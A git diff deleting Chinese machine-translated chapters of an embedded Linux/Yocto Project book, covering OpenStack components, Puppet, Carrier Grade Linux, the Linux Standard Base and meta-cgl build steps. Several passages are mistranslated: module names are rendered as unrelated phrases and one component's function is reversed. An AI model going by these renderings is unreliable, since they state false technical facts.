Foundation 以及对这些框架以外的信息感兴趣的读者的首选。 它也可以在[http://blog.x-aeon.com/2013/04/10/a-quick-message-queue-benchmark-activemq-rabbitmq-hornetq-qpid-apollo/](http://blog.x-aeon.com/2013/04/10/a-quick-message-queue-benchmark-activemq-rabbitmq-hornetq-qpid-apollo/)上获得。 此图中还提供了一个这样的结果,以供比较: - -![Virtualization support for the Yocto Project](img/image00380.jpeg) - -下一个元素是**PUPETE**,这是一个开源的源代码配置管理系统,它允许 IT 基础设施定义特定的状态并强制执行这些状态。 通过这样做,它为系统管理员提供了一个很好的自动化系统。 该项目由 Puptet Labs 开发,在 2.7.0 版本之前是在 GNU 通用公共许可证(GNU General Public License)下发布的。 在此之后,它转移到了 Apache License 2.0,现在有两种版本可用: - -* **开源傀儡版本**:它与前面的工具非常相似,并且能够提供配置管理解决方案,允许定义和自动化状态。 它既可用于 Linux 和 UNIX,也可用于 Max OS X 和 Windows。 -* **傀儡企业版**:它是一个商业版本,超越了开源傀儡的能力,并允许配置和管理过程的自动化。 - -它是一种定义声明性语言以供以后用于系统配置的工具。 它可以直接应用于系统,甚至可以编译为目录并使用客户端-服务器范例(通常是 rest API)部署在目标上。 另一个组件是强制执行清单中可用资源的代理。 当然,资源抽象是通过抽象层完成的,抽象层通过与特定于操作系统的命令非常不同的更高级别的术语来定义配置。 - -### 备注 - -如果您访问[http://docs.puppetlabs.com/](http://docs.puppetlabs.com/),您会找到更多与 PupPet 和其他 PupPet Lab 工具相关的文档。 - -有了这些,我认为是时候展示元云服务层的主要组件了,称为**OpenStack**。 它是一个基于控制大量组件的云操作系统,它共同提供计算、存储和网络资源池。 所有这些都是通过仪表板进行管理的,当然,仪表板是由另一个组件提供的,并且让管理员可以控制。 它为用户提供了从同一 Web 界面提供资源的可能性。 这里有一张描述开源云操作系统的图片,它实际上是 OpenStack: - -![Virtualization support for the Yocto Project](img/image00381.jpeg) - -它主要用作 IaaS 解决方案,其组件由 OpenStack Foundation 维护,采用 Apache License Version 2。目前,在该基金会中,有 200 多家公司为该软件的源代码以及一般开发和维护做出贡献。 在它的核心,所有组件也都保留了它的组件,每个组件都有一个 Python 模块,用于简单的交互和自动化: - -* **Compute(Nova)**:用于托管和管理云计算系统。 它管理环境的计算实例的生命周期。 它负责按需产生、停用和调度各种虚拟机。 关于虚拟机管理程序,KVM 是首选选项,但 Xen 和 VMware 等其他选项也是可行的。 -* **对象存储(SWIFT)**:它用于通过 RESTful 和 HTTP API 进行存储和数据结构检索。 它是一个可扩展的容错系统,允许使用多个磁盘驱动器上可用的对象和文件进行数据复制。 它主要是由一家名为**SwiftStack**的对象存储软件公司开发的。 -* **块存储(Cinder)**:它为 OpenStack 实例提供个持久块存储。 它管理数据块设备的创建以及连接和分离操作。 在云中,用户管理自己的设备,因此应该支持绝大多数存储平台和场景。 为此,它提供了一个可插拔的体系结构,方便了这一过程。 -* **网络(中子)**:它是负责网络相关服务的组件,也称为**网络连接即服务**。 它为网络管理提供 API,并确保防止某些限制。 它还具有基于可插拔模块的架构,以确保支持尽可能多的网络供应商和技术。 -* **Dashboard(Horizon)**:它提供基于 Web 的管理员和用户图形界面,用于与所有其他组件提供的其他资源进行交互。 它的设计还考虑到了可扩展性,因为它能够与负责监视和计费的其他组件以及其他管理工具交互。 它还提供了根据商业供应商的需求进行品牌重塑的可能性。 -* **身份服务(Keystone)**:它是一种身份验证和授权服务,它支持多种形式的身份验证,也支持现有的后端目录服务,如 LDAP。 它为用户及其可以访问的资源提供目录。 -* **镜像服务(Glance)**:它是,用于发现、存储、注册和检索虚拟机的镜像。 许多已经存储的图像可以用作模板。 OpenStack 还提供了用于测试目的的操作系统映像。 Glance 是唯一能够在各种服务器和虚拟机之间添加、删除、复制和共享 OpenStack 映像的模块。 所有其他模块都使用可用的 API of Glance 与图像交互。 -* **遥测(Ceileter)**:它是一个模块,它借助许多允许扩展的计数器,为 OpenStack 的所有当前和未来组件提供计费、基准测试和统计结果。 这使得它成为一个非常可伸缩的模块。 -* **Orchestrator(HEAT)**:它是一项服务,借助各种模板格式(如 HEAT)或 AWS CloudForment 管理多个复合云应用。 通信是在兼容 CloudForment 的查询 API 和 Open Stack rest API 上完成的。 -* **数据库(Trove)**:提供云数据库即服务功能,既可靠又可扩展。 它使用关系和非关系数据库引擎。 -* **裸机配置(Ironic)**:它是一个组件,提供虚拟机支持,而不是裸机支持。 它最初是 Nova BareMetal 驱动程序的一个分支,后来发展成为裸机虚拟机管理程序的最佳解决方案。 它还提供了一组插件,用于与各种裸机虚拟机管理程序进行交互。 默认情况下,它与 PXE 和 IPMI 一起使用,但当然,在可用插件的帮助下,它可以为各种特定于供应商的功能提供扩展支持。 -* **多租户云消息服务(Multiple Tenant Cloud Messaging,Zaqar)**:顾名思义,它是一个面向对**软件即服务**(**SaaS**)感兴趣的 Web 开发人员的多租户云消息服务。 他们可以使用它通过多种通信模式在各种组件之间发送消息。 但是,它也可以与其他组件一起使用,用于向最终用户呈现事件以及云层上的通信。 它的前身是**Marconi**,它还提供了可伸缩和安全的消息传递的可能性。 -* **Elastic Map Reduce(Sahara)**:它是一个试图自动化方法的模块,提供 Hadoop 集群的功能。 它只需要定义各种字段,如 Hadoop 版本、各种拓扑节点、硬件详细信息等。 在此之后,几分钟后,Hadoop 群集即已部署完毕,并准备好进行交互。 它还提供了在部署后进行各种配置的可能性。 - -提到所有这些之后,您可能不会介意在下图中呈现一个概念体系结构,向您展示与上述组件交互的方式。 要在生产环境中自动部署这样的环境,可以使用自动化工具,例如前面提到的 Puppert 工具。 请看这张图: - -![Virtualization support for the Yocto Project](img/image00382.jpeg) - -现在,让我们继续,看看如何使用 Yocto 项目的功能部署这样的系统。 要开始本练习,应将所有必需的元数据层放在一起。 除了已有的 POKY 储存库外,还需要其他的储存库,它们在 OpenEmbedded 网站的层索引中定义,因为这次`README`文件是不完整的: - -```sh -git clone –b dizzy git://git.openembedded.org/meta-openembedded -git clone –b dizzy git://git.yoctoproject.org/meta-virtualization -git clone –b icehouse git://git.yoctoproject.org/meta-cloud-services -source oe-init-build-env ../build-controller -``` - -创建适当的控制器构建后,需要对其进行配置。 在`conf/layer.conf`文件中,添加相应的机器配置,比如 qemux86-64,在`conf/bblayers.conf`文件中,应该相应地定义`BBLAYERS`变量。 除了已有的元数据层之外,还有额外的元数据层。 应在此变量中定义的变量包括: - -* `meta-cloud-services` -* `meta-cloud-services/meta-openstack-controller-deploy` -* `meta-cloud-services/meta-openstack` -* `meta-cloud-services/meta-openstack-qemu` -* `meta-openembedded/meta-oe` -* `meta-openembedded/meta-networking` -* `meta-openembedded/meta-python` -* `meta-openembedded/meta-filesystem` -* `meta-openembedded/meta-webserver` -* `meta-openembedded/meta-ruby` - -使用`bitbake openstack-image-controller`命令完成配置后,即可构建控制器映像。 可以使用`runqemu qemux86-64 openstack-image-controller kvm nographic qemuparams="-m 4096"`命令启动控制器。 完成本练习后,可以通过以下方式开始部署计算: - -```sh -source oe-init-build-env ../build-compute - -``` - -创建了新的构建目录后,而且由于构建过程的大部分工作已经通过控制器完成,因此构建目录(如`downloads`和`sstate-cache`)可以在它们之间共享。 此信息应通过`DL_DIR`和`SSTATE_DIR`表示。 这两个`conf/bblayers.conf`文件的不同之处在于,`build-compute`构建目录的第二个文件替换了`meta-cloud-services/meta-openstack-controller-deploy with meta-cloud-services/meta-openstack-compute-deploy`。 - -这一次使用`bitbake openstack-image-compute`完成了构建,应该可以更快地完成。 构建完成后,还可以使用`runqemu qemux86-64 openstack-image-compute kvm nographic qemuparams="-m 4096 –smp 4"`命令引导计算节点。 此步骤表示 OpenStack Cirros 的图像加载如下: - -```sh -wget download.cirros-cloud.net/0.3.2/cirros-0.3.2-x86_64-disk.img -scp cirros-0.3.2-x86_64-disk.img root@:~ -ssh root@ -./etc/nova/openrc -glance image-create –name "TestImage" –is=public true –container-format bare –disk-format qcow2 –file /home/root/cirros-0.3.2-x86_64-disk.img - -``` - -完成所有这些操作后,用户可以使用`http://:8080/`自由访问 Horizon Web 浏览器。登录信息为 admin,密码为 password。 在这里,您可以玩和创建新实例、与它们交互,通常还可以做您脑海中浮现的任何事情。 如果您对实例做了错误的操作,请不要担心;您可以将其删除并重新开始。 - -`meta-cloud-services`层的最后一个元素是 OpenStack 的**Tempest 集成测试套件**。 它通过在 OpenStack 主干上执行的一组测试来表示,以确保一切正常工作。 它对于任何 OpenStack 部署都非常有用。 - -### 备注 - -有关 TEMPEST 的更多信息,请访问[https://github.com/openstack/tempest](https://github.com/openstack/tempest)。 - -# 摘要 - -在本章中,不仅向您介绍了许多虚拟化概念(如 NFV、SDN、VNF 等)的信息,还向您介绍了许多有助于日常虚拟化解决方案的开源组件。 我给你举了一些例子,甚至还做了一个小练习,以确保即使在读完这本书之后,这些信息也会留在你的脑海里。 我希望我能让你们中的一些人对某些事情感到好奇。 我还希望你们中的一些人记录了这里没有介绍的项目,例如**OpenDaylight**(**ODL**)计划,它只是在图片中提到的一个实现建议。 如果是这样的话,我可以说我实现了我的目标。 如果没有,也许这个摘要会让您重新阅读前几页。 - -在下一章中,我们将访问一个新的、真正的载体分级载体。 这将是本书的最后一章,我将以一个对我个人非常重要的主题来结束它。 我将讨论名为**META-CGL**的 Yocto Shy 倡议及其目的。 我将介绍**运营商级 Linux**(**CGL**)的各种规范和更改,以及**Linux Standard Base**(**LSB**)的要求。 我希望你喜欢读它,就像我喜欢写它一样。 \ No newline at end of file diff --git a/docs/learn-emb-linux-yocto-proj/13.md b/docs/learn-emb-linux-yocto-proj/13.md deleted file mode 100644 index e9b8ad9d..00000000 --- a/docs/learn-emb-linux-yocto-proj/13.md +++ /dev/null @@ -1,382 +0,0 @@ -# 十三、CGL 和 LSB - -在本章中,您将看到有关本书最后一个主题**运营商级 Linux**(**CGL**)和**Linux Standard Base**(**LSB**)计划的信息,当然,还有与这两个标准集成和支持到 Yocto 项目中的内容类似的信息。 这里也会提到这一点,您不仅可以找到关于这些标准及其规范的一些信息,还可以了解到 Yocto 为它们提供的支持级别。 我还将介绍与 CGL 相邻的一些计划,例如**汽车级 Linux**和**运营商级虚拟化**。 它们还构成了可行的解决方案,可在广泛的应用中使用。 - -在当今的任何 Linux 环境中,都有必要为可用的 Linux 发行版提供一种公共语言。 如果没有定义实际的规范,这种通用语言是不可能实现的。 这些规范的一部分也由运营商级替代方案表示。 它与本书或其他类似书籍中已经介绍的其他规范共存。 看看可用的规范和标准化只会让我们看到 Linux 生态系统随着时间的推移发生了多大的变化。 - -在 Linux 基金会工作的人发表的最新报告显示了目前 Linux 内核的实际开发方式,开发它是什么样子,谁是赞助商,正在对它进行哪些改变,以及事情进展得有多快。 该报告可在[https://www.linuxfoundation.org/publications/linux-foundation/who-writes-linux-2015](https://www.linuxfoundation.org/publications/linux-foundation/who-writes-linux-2015)上获得。 - -正如报告中所描述的,只有不到 20%的内核开发是由个人开发人员完成的。 大部分开发都是由英特尔、红帽、利纳罗、三星等公司实现的。 这意味着在 Linux 内核开发中工作的开发人员中,超过 80%的人的工作是有报酬的。 Linaro 和三星是提交数量最多的公司之一,这一事实只表明人们对 ARM 处理器总体上的好感,特别是对 Android 的好感。 - -另一条有趣的信息是,超过一半的 Linux 内核开发人员是第一次提交。 这意味着真正的一小部分开发人员正在做绝大多数的工作。 Linux 基金会试图通过为学生提供各种项目,让他们更多地参与开发过程,来减少 Linux 内核进程开发中的这种功能障碍。 这是否成功,只有时间才能证明,但我的观点是,他们正在做正确的事情,正在朝着正确的方向前进。 - -所有这些信息都针对 Linux 内核进行了说明,但其中部分内容也适用于其他开放源码组件。 这里我想强调的是,Linux 中的 ARM 支持比 PowerPC 或 MIPS 等体系结构中的 ARM 支持要成熟得多。 这不仅是显而易见的,而且也表明了 Intel x86 阶段所采取的方法。 到目前为止,这种方法根本没有受到任何人的干扰。 - -# Linux 标准库 - -LSB 似乎通过减少各种可用的 Linux 发行版之间的差异,降低了 Linux 平台提供的支持成本。 它还有助于降低移植应用的成本。 每次开发人员编写应用时,他们都需要确保在一个 Linux 发行版上生成的源代码也能够在其他发行版上执行。 他们还希望确保多年来这仍然是可能的。 - -LSB 工作组是 Linux Foundation 的一个项目,它试图解决这些问题。 为此,LSB 工作组开始研究一种标准,该标准可以描述 Linux 发行版应该支持的一组 API。 定义了标准之后,工作组还进一步开发了一套工具和测试来衡量支持级别。 这样做之后,他们就能够定义特定的遵从性集合,并检测不同发行版之间的某些差异。 - -LSB 是 Linux 基金会在这方面做出的第一个努力,并成为试图为 Linux 平台的各个领域提供标准化的所有工作组的保护伞。 所有这些工作组都有相同的路线图,并且他们交付了相应的一组规范、软件组件,例如一致性测试、开发工具以及其他可用的示例和实现。 - -由 Linux Standard Base 内部可用的某个工作组开发的每个软件组件都被定义为`lsb`模块。 所有这些模块都有一种通用格式,便于它们之间的集成。 有一些模块是必需的和可选的。 所需的是符合 LSB 验收标准的那些。 可选的标准仍在进行中,在定义规范的时候,没有写在验收标准中,但将包括在 LSB 标准的未来版本中。 - -当然,也有不生产`lsb`模块的工作组。 他们也没有制定该标准,而是在项目中集成了各种补丁,例如 Linux 内核或其他软件包,甚至文档。 这些不是本节所指的工作组。 本节仅考虑与 LSB 相关的工作组。 - -每当发布新的规范文档时,供应商也会不时获得测试套件,以测试套件对特定版本的符合性。 供应商可以测试他们的产品合规性,可以是应用的形式,也可以是 Linux 发行版的形式。 测试套件的结果是一份证书,表明他们的产品通过了 LSB 认证。 当然,对于应用,我们有一个**LSB Application TestKit**。 对于 Linux 发行版以及其他可用于各种发行版的版本,也有类似的版本。 - -对于对可选模块感兴趣的供应商,这些模块不仅可以帮助供应商准备未来的 LSB 遵从性认证,还可以让他们接触可选模块,以便从他们那里获得更多直言不讳的评论和贡献。 此外,供应商的投票与未来的 LSB 规范文档中是否存在这些模块有关,这些模块的发布也很重要。 供应商可以确定一个可选模块是否符合将来包含的条件。 - -LSB 工作组由指导委员会管理,由选举产生的主席领导。 这两个实体代表工作组的利益。 工作组按照粗略的协商一致模式运作。 这表明该集团对某一特定问题的解决方案,即由当选主席决定的解决方案。 如果贡献者没有考虑他们的决定,不符合达成大致共识所需的标准,那么指导委员会将被上诉。 - -所有特定于 LSB 工作组的业务都在一个开放论坛内进行。 它可以包括邮件列表、会议、维基页面,甚至是面对面的会议;这些活动不会对工作组成员关闭。 此外,成员资格不受限制,决策有明确的文件记录,因为总有可能在以后就特定主题进行进一步讨论。 - -工作组中有明确定义的角色: - -* **贡献者**:指积极参与的个人。 他们总是有供主席使用的名单,但任何个人都可以要求将其列入贡献者名单。 -* **主席**:本指有代表性的项目负责人。 该职位由贡献者选举产生,并由指导委员会和 Linux 基金会董事会批准。 一旦当选,他们可以担任这一职位两年。 任何人当选的次数都没有限制。 在代表指导委员会或 Linux 基金会董事会缺乏信心的情况下,可能会被免去这一职位。 该职位空缺后,将进行新的选举。 在空缺期间,指导委员会将指派一名代理主席。 -* **选举委员会**:本是指由主席选举指导委员会设立的捐助者委员会。 它负责在主席任期届满前至少 30 天内或主席职位空缺后 10 天内挑选主席职位的候选人。 它负责进行选举,这是通过电子选票完成的。 个人只接受一次投票;投票是保密的,只有合格的成员才能投票。 投票期为一周,然后将结果提交给指导委员会,指导委员会批准投票并宣布获胜者。 -* **指导委员会**:IT 由具有代表性的工作组利益攸关方组成。 他们可能是发行商、原始设备制造商(OEM)、独立软件开发商(ISV)、上游开发人员,也可能是 LSB 章程下 LSB 子工作组的主席。 该委员会由主席任命,根据他们参与工作组活动的情况,他们可以无限期地保留这一职位。 指导委员会的一名成员可以由三个实体免职:主席、指导委员会的其他成员或 Linux 基金会董事会。 - -下面的图像描述了 LSB 工作组的更详细的结构: - -![Linux Standard Base](img/image00383.jpeg) - -LSB 是一个相当复杂的结构,如上图所示,因此如果需要,可以在工作组中定义更多角色。 工作组的主要重点仍然是其使命;为了实现这一目标,需要促进和培育新的工作组。 他们需要一定程度的独立性,但也要对 LSB 主席的活动负责。 这主要涉及确保满足特定的最后期限,并确保项目坚持其路线图。 - -与 LSB 交付件交互过程的第一步应该是确定目标系统需要满足的确切 LSB 要求。 这些规范以两个组件的形式提供:依赖于体系结构的和独立于体系结构的,或者也称为通用组件。 依赖于体系结构的组件包含三个模块: - -* (美国) 争取种族平等大会 -* C++ -* 桌面 / 台式机 - -独立于体系结构的组件包含五个模块: - -* (美国) 争取种族平等大会 -* C++ -* 桌面 / 台式机 -* 印刷 / 印刷术 / 一次印数 / 印刷字体 -* 语言 / 语言文字 / 表达能力 - -当然,还有另一种结构用于对它们进行排序。 在这里,我指的是其中一些是强制性的,另一些则处于试验和测试状态。 第一类是为了拥有一个符合 LSB 标准的发行版,而第二类并不是严格要求拥有一个可以代表未来几个 LSB 版本的候选版本的合规发行版。 - -下图显示了 LSB 的关键交付组件。 我希望它能指导您了解该项目的各个组件,并收集您将来与 LSB 工作组的各个组件进行交互所需的信息。 - -![Linux Standard Base](img/image00384.jpeg) - -根据用户的兴趣,他们可以选择与分发开发或应用组件的开发进行交互。 正如上图清楚地描述的那样,这两条路每条都有自己的工具来完成这项工作。 在开始工作之前,请确保您查看了 LSB Navigator 的网站并收集了所需的信息。 对于对 LSB 导航器演示感兴趣的用户,下面的链接中有一个也涉及 Yocto 交互的可用链接。 一定要检查它,并与它互动,以了解它是如何工作的。 - -### 备注 - -可通过[http://www.linuxbase.org/navigator/commons/welcome.php](http://www.linuxbase.org/navigator/commons/welcome.php)访问 LSB Navigator。 - -让我们假设交互已经完成,并且您现在对与此项目协作感兴趣。 当然,有多种方法可以做到这一点。 无论您是开发人员还是软件供应商,您的反馈总是对任何项目都有帮助。 此外,对于希望贡献代码的开发人员,有多个组件和工具可以从您的帮助中受益。 这还不是全部。 有很多测试框架和测试基础设施总是需要改进,因此,一些人不仅可以为代码做出贡献,还可以修复和开发错误,或者测试工具。 此外,请记住,您的反馈总是值得赞赏的。 - -在进入下一节之前,我想再介绍一件事。 如上图所示,开发人员执行的关于 LSB 工作组组件的任何活动都应该在检查 LSB 规范并选择合适的版本之后执行。 例如,在 CGL 规范中,至少有 LSB 3.0 的明确要求,以及在同一需求描述中指出的所需模块。 对于想要了解所需规范及其组件的更多信息的开发人员,请参考[http://refspecs.linuxfoundation.org/lsb.shtml](http://refspecs.linuxfoundation.org/lsb.shtml)。 请确保您还检查了新推出的 LSB5 规范的进展情况,该规范已通过测试阶段,目前处于 RC1 状态。 有关这方面的更多信息,请访问[https://www.linuxfoundation.org/collaborate/workgroups/lsb/lsb-50-rc1](https://www.linuxfoundation.org/collaborate/workgroups/lsb/lsb-50-rc1)。 - -### 备注 - -有关 LSB 的更多信息,请访问[http://www.linuxfoundation.org/collaborate/workgroups/lsb](http://www.linuxfoundation.org/collaborate/workgroups/lsb)。 - -# 承运商级别选项 - -本节将讨论多个选项,我们将从定义术语*运营商等级*开始。 这似乎是一个完美的开始。 那么,这个术语在电信环境中意味着什么呢? 它指的是真正可靠的系统、软件甚至硬件组件。 这里,我指的不仅仅是 CGL 提供的 5-9 或 6-9,因为并不是所有的行业和场景都需要这种可靠性。 我们只会提到在项目范围内可以定义为可靠的东西。 对于要定义为运营商级的系统、软件或硬件组件,它还应该证明自己与各种功能(如高可用性、容错等)一起经过了良好的测试。 - -这些 5-9 和 6-9 指的是产品 99.999 或 99.9999%可用的事实。 这相当于每年大约 5 分钟的停机时间(对于 5-9)和 30 秒的停机时间(对于 6-9 要求)。 在解释完这一点之后,我将继续介绍航母级别的可用选项。 - -## 运营商级 Linux - -它是可用的第一个也是最古老的选项。 电信业似乎有必要定义一套规范,而这套规范又为基于 Linux 的操作系统定义了一套标准。 在实施之后,这将使系统运营商级别能够。 - -CGL 背后的动机是提出一个开放的体系结构,作为电信系统中已经可用的专有和封闭源代码解决方案的可能解决方案或替代方案。 开放式架构替代方案是最好的,不仅因为它避免了单一的形式,也不难维护、扩展和开发,而且它还提供了速度优势。 拥有一个解耦的系统会更快、更便宜,并使更多的软件或硬件工程师能够访问其组件。 所有这些组件最终都将能够服务于相同的目的。 - -该工作组最初由**开放源码开发实验室**(**OSDL**)发起,在与自由标准组织合并后形成了 Linux 基金会。 现在所有的工作都和工作组一起搬到了那里。 CGL 的最新可用版本是 5.0,它包括注册的 Linux 发行版,如 Wind River、MontaVista 和 Red Flag。 - -OSDL CGL 工作组有三类 CGL 适用的应用: - -* **信令服务器应用**:此包括为呼叫和服务提供控制服务的产品,例如路由、会话控制和状态。 这些产品通常处理大量连接,大约 10000 或 100000 个并发连接,还因为它们有实时要求,要求从进程中获取低于毫秒的结果。 -* **网关应用**:这些提供技术和管理域之间的桥梁。 除了已经提到的特性之外,它们在不是很大数量的接口上处理实时环境中的大量连接。 这些协议还要求在通信过程中不丢失帧或包。 -* **管理应用**:这些应用通常提供计费操作、网络管理和其他传统服务。 它们对实时操作没有同样强烈的要求,而是专注于快速的数据库操作和其他面向通信的请求。 - -为了确保能够满足上述类别,CGL 工作组将重点放在两个主要活动上。 第一个问题涉及与上述所有类别进行沟通,确定它们的需求,以及发行商应该实现的编写规范。 第二个涉及收集和帮助满足规范中定义的要求的项目。 作为我前面提到的结论,CGL 不仅试图代表电信行业代表和 Linux 发行版,而且还代表终端用户和服务提供商;它还为这些类别中的每一个类别提供运营商级选项。 - -每个希望获得 CGL 认证的发行版供应商都将其实现作为模板提供。 它充满了包的版本、名称和其他额外信息。 但是,它这样做并没有透露太多关于实现过程的信息;这些包有可能是专有软件。 此外,披露的信息由供应商拥有和维护。 CGL 工作组仅显示供应商提供的链接。 - -规范文档现在是 5.0 版,它包含了实际上对应用是强制的或可选的要求,并且与在 Linux 发行版中进行的运营商级认证的实现相关。 必填项由 P1 优先级描述,可选项标记为 P2。 其他元素与代表某个功能的 GAP 方面相关,由于开源实现不可用,因此没有实现该功能。 规范文档中列出了这些需求,以激励发行版开发人员做出贡献。 - -如下图所示以及规范文档中包含的信息所强调的,CGL 系统应提供大量功能: - -![Carrier Grade Linux](img/image00385.jpeg) - -由于对功能数量的要求很大,工作组决定将其分为以下几类: - -* **可用性**:与单节点可用性和恢复相关。 -* **集群**:它描述在从单个系统构建集群时有用的组件。 这背后的关键目标是系统的高可用性和负载平衡,这也可能带来一些性能改进。 -* **可维护性**:它涵盖系统的维护和维修功能。 -* **Performance**:它描述可以帮助系统获得更好性能的特性,例如实时需求和其他特性。 -* **标准**:这些是作为各种 API、标准和规范的参考提供的。 -* **硬件**:它提供运营商级操作系统所需的各种特定于硬件的支持。 其中很大一部分来自硬件供应商,他们自己也参与了这一过程,在最新的 CGL 规范版本中,这一部分的要求已经大大减少。 -* **安全**:它表示构建安全系统所需的相关功能。 - -### 备注 - -有关 cgl 要求的详细信息,请参阅[https://www.linuxfoundation.org/sites/main/files/CGL_5.0_Specification.pdf](https://www.linuxfoundation.org/sites/main/files/CGL_5.0_Specification.pdf)。 您也可以在[https://www.linuxfoundation.org/collaborate/workgroups/cgl](https://www.linuxfoundation.org/collaborate/workgroups/cgl)上参考 CGL 工作组。 - -## 汽车级 Linux - -Automotive Level Linux 也是 Linux Foundation 工作组。 它是新成立的,试图提供一个具有汽车应用的开源解决方案。 它的主要重点是车载信息娱乐部门,但它包括远程信息处理系统和仪表组。 IT 工作基于已有的开源组件。 这些都适合它的目的,并试图实现快速发展,这在这个行业是非常需要的。 - -工作组的目标是: - -* 为涉及的元素提供透明、协作和开放的环境。 -* 一个 Linux 操作系统堆栈,专注于汽车,并使用指数代表的开源社区(如开发人员、学术组件和公司)作为后盾。 -* 开放源码社区中互动的集体声音,这次是以相反的形式发布的,从 AGL 到社区。 -* 用于快速原型制作的嵌入式 Linux 发行版。 - -通过使用 Tizen 等项目作为参考分布,并拥有捷豹(Jaguar)、日产(Nissan)、路虎(Land Rover)或丰田(Toyota)等项目,这个项目足够有趣,值得密切关注。 它刚刚开发出来,但有改进的潜力。 如果您对此感兴趣,请参考[https://www.linuxfoundation.org/collaborate/workgroups/automotive-grade-linux](https://www.linuxfoundation.org/collaborate/workgroups/automotive-grade-linux)。 该项目的 Wiki 页面是一个有趣的资源,可以在[https://wiki.automotivelinux.org/](https://wiki.automotivelinux.org/)上查阅。 - -## 运营商级虚拟化 - -最近 CGL 的开发使虚拟化成为运营商级领域的一个有趣的选项,因为它降低了成本,并提高了利用运行单核设计应用的多核设备的透明度。 虚拟化选项还需要满足与其他运营商级系统相同的期望。 - -运营商级虚拟化已尝试成为集成到现有运营商级平台中的重要组件。 这样做是为了保留系统的属性和性能。 它还试图扩展设备目标,并允许**原始设备制造商**(**OEM**)从与 CGL 相同的支持中获益。 这些好处是以既定目标的形式出现的。 - -虚拟化的应用更加广泛,从 x86 架构到基于 ARM 和 DSP 的处理器以及各种领域都可以看到。 从运营商级角度检查虚拟化是本解决方案的重点,因为通过这种方式,您可以更清楚地了解需要改进的领域。 通过这种方式,可以识别这些内容,并且还可以根据需要应用增强功能。 不幸的是,这个计划没有像其他一些计划那样公开,但是仍然是一个非常好的文档来源,并且可以从[http://www.linuxpundit.com/documents/CGV_WP_Final_FN.pdf](http://www.linuxpundit.com/documents/CGV_WP_Final_FN.pdf)上的 viralLogix 获得。 希望您喜欢它的内容。 - -# 对 Yocto 项目的具体支持 - -在 POKY 参考系统中,为 LSB 和 LSB 兼容应用的开发提供了支持。 在 POKY 内部,有一个特殊的`poky-lsb.conf`分发策略配置,它是在分发版对开发符合 LSB 的应用感兴趣的情况下定义的。 当生成符合 LSB 或至少准备参加 LSB 认证的 Linux 发行版时,这一点是成立的。 这里将介绍准备 LSB 认证的 Linux 发行版所需的构建步骤。 如果您对开发符合 LSB 的应用感兴趣,那么这个过程会更简单,这里也会简要介绍一下;但是,它与前者不同。 - -第一步很简单:由于 LSB 模块的要求,它只需要克隆 POKY 存储库和`meta-qt3`依赖层: - -```sh -git clone git://git.yoctoproject.org/poky.git -git clone git://git.yoctoproject.org/meta-qt3 - -``` - -接下来,需要创建构建目录: - -```sh -source oe-init-build-env -b ../build_lsb - -``` - -在`conf/bblayers.conf`文件内,只需要添加`meta-qt3`层。 在`conf/local.conf`文件内,应选择相应的机器。 我会建议一个功能强大的平台,但如果提供足够的 CPU 能力和内存,使用仿真架构(如`qemuppc`)应该就足以进行这样的演示。 此外,请确保将`DISTRO`变量更改为`poky-lsb`。 所有这些都就绪后,构建过程就可以开始了。 执行此操作所需的命令为: - -```sh -bitbake core-image-lsb - -``` - -在选定的计算机上生成并引导生成的二进制文件后,用户可以使用`LSB_Test.sh`脚本(该脚本还设置 LSB 测试框架环境)运行所有测试,或者运行特定的测试套件: - -```sh -/usr/bin/LSB_Test.sh - -``` - -您还可以使用以下命令: - -```sh -cd /opt/lsb/test/manager/utils -./dist-checker.pl –update -./dist-checker.pl –D –s 'LSB 4.1' - -``` - -如果各种测试未通过,则需要重新配置系统以确保达到所需的兼容级别。 在`meta/recipes-extended/images`内部,除了核心的`-image-lsb.bb`食谱之外,还有两个相似的食谱: - -* `core-image-lsb-sdk.bb`:它包括`meta-toolchain`以及生成应用开发所需的 SDK 所需的库和开发头 -* `core-image-lsb-dev.bb`:它适合在目标上进行开发工作,因为它包括`dev-pkgs`,它公开了特定于映像的包所需的头文件和库 - -在 Yocto 项目内部,有一个定义为`meta-cgl`的层,它打算成为 CGL 计划的垫脚石。 它聚合了 CGL 工作组定义的所有可用和必需的包。 这一层的格式试图为下一步的实现做好准备,以便在各种机器上支持 CGL。 在`meta-cgl`层中,有两个子目录: - -* `meta-cgl-common`:它是活动的焦点所在,也是为 poky 中可用的机器提供支持的子目录,比如`qemuarm`、`qemuppc`等。 -* `meta-cgl-fsl-ppc`:它是定义特定于 BSP 的支持的子目录。 如果需要支持其他机器,应提供这些层。 - -正如我已经提到的,`meta-cgl`层负责 CGL 支持。 如前所述,CGL 的要求之一是具有 LSB 支持,这种支持在 POKY 中可用。 它作为特定需求集成在这一层中。 `meta-cg`l 层的另一个建议是将所有可用包分组到定义各种类别的包组中。 可用的包组非常通用,但所有可用包组都集成在一个称为`packagegroup-cgl.bb`的核心包组中。 - -该层还公开了符合 CGL 的操作系统映像。 此图试图包含针对初学者的各种特定于 CGL 的需求,并打算通过包含 CGL 规范文档中定义的所有需求来实现增长。 除了生成符合 CGL 要求并准备通过 CGL 认证的 Linux 操作系统外,该层还试图定义特定于 CGL 的测试框架。 这项任务似乎类似于 LSB 检查遵从性所需的任务,但我向您保证并非如此。 它不仅需要特定于 CGL 的语言定义,必须根据定义的规范进行定义,而且还需要许多测试定义,这些定义应该与该语言定义的内容同步。 此外,还有一个包或一个包的功能可以满足的要求,这些东西应该聚集在一起并组合在一起。 还有各种其他场景可以正确解释和回答;这是使 CGL 测试成为一项难以完成的任务的条件。 - -在`meta-cgl`层中,有用于以下程序包的配方: - -* `cluster-glue` -* `cluster-resource-agents` -* `corosync` -* `heartbeat` -* `lksctp-tools` -* `monit` -* `ocfs2-tools` -* `openais` -* `pacemaker` -* `openipmi` - -除了这些食谱之外,还有其他一些食谱是各种 CGL 需求所必需的。 正如前面几节所述,`meta-cgl`计划显示在它提供的支持中。 它还没有完成,但会及时完成的。 它还将包含以下软件包: - -* `evlog` -* `mipv6-daemon-umip` -* `makedumpfile` - -所有这些都是提供支持 LSB 和兼容 CGL 的基于 Linux 的操作系统所必需的。 这将在时间上实现,也许当这本书到达您手中时,该层将是其最终格式,并成为符合 CGL 的标准。 - -我现在将开始解释您在 CGL 环境中可能会遇到的几个包。 我将首先从心跳守护进程开始,该守护进程为集群服务提供通信和成员资格。 将其部署到位将使客户端能够确定其他计算机上可用进程的当前状态,并与它们建立通信。 - -要确保心跳守护进程有用,需要将它与**群集资源管理器**(**CRM**)放在一起,是负责启动和停止各种服务以获得高可用性 Linux 系统的组件。 这个 CRM 